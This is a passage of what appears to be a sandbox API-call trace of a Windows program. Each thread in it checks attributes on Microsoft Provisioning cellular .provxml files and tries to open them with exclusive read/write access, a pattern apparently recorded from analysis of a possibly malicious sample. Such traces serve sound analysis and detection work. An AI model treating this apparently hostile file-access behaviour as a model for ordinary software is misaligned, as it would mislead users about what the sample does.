Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f033c0) returned 1 [0182.619] RtlExitUserThread (Status=0x0) Thread: id = 3272 os_tid = 0x1330 [0182.436] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.617] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.618] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.618] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.618] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02980) returned 1 [0182.618] RtlExitUserThread (Status=0x0) Thread: id = 3273 os_tid = 0x1334 [0182.437] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.616] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.617] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30564b8) returned 1 [0182.617] RtlExitUserThread (Status=0x0) Thread: id = 3274 os_tid = 0x1338 [0182.438] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.615] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.615] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.615] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.615] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1ff0) returned 1 [0182.615] RtlExitUserThread (Status=0x0) Thread: id = 3275 os_tid = 0x1340 [0182.438] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.569] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.570] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.570] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056610) returned 1 [0182.570] RtlExitUserThread (Status=0x0) Thread: id = 3276 os_tid = 0x1344 [0182.438] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.568] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.568] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.569] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30546f8) returned 1 [0182.569] RtlExitUserThread (Status=0x0) Thread: id = 3277 os_tid = 0x1348 [0182.439] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.567] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.567] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.567] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa22c0) returned 1 [0182.568] RtlExitUserThread (Status=0x0) Thread: id = 3278 os_tid = 0x134c [0182.439] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.566] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.566] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.566] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056768) returned 1 [0182.566] RtlExitUserThread (Status=0x0) Thread: id = 3279 os_tid = 0x1350 [0182.439] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.614] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.614] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.614] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054bd8) returned 1 [0182.614] RtlExitUserThread (Status=0x0) Thread: id = 3280 os_tid = 0x1354 [0182.440] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.613] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.613] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.613] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056a18) returned 1 [0182.613] RtlExitUserThread (Status=0x0) Thread: id = 3281 os_tid = 0x1358 [0182.440] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.612] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.612] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.612] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056b70) returned 1 [0182.612] RtlExitUserThread (Status=0x0) Thread: id = 3282 os_tid = 0x135c [0182.441] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.610] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.610] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.611] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056cc8) returned 1 [0182.611] RtlExitUserThread (Status=0x0) Thread: id = 3283 os_tid = 0x1360 [0182.442] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.609] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.609] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.609] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054830) returned 1 [0182.610] RtlExitUserThread (Status=0x0) Thread: id = 3284 os_tid = 0x1364 [0182.442] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.608] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.608] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.608] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f026f0) returned 1 [0182.608] RtlExitUserThread (Status=0x0) Thread: id = 3285 os_tid = 0x1368 [0182.443] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.607] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.607] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.607] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.607] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b600) returned 1 [0182.607] RtlExitUserThread (Status=0x0) Thread: id = 3286 os_tid = 0x136c [0182.443] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.605] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.606] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.606] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.606] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03508) returned 1 [0182.606] RtlExitUserThread (Status=0x0) Thread: id = 3287 os_tid = 0x1370 [0182.444] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.565] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.565] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all 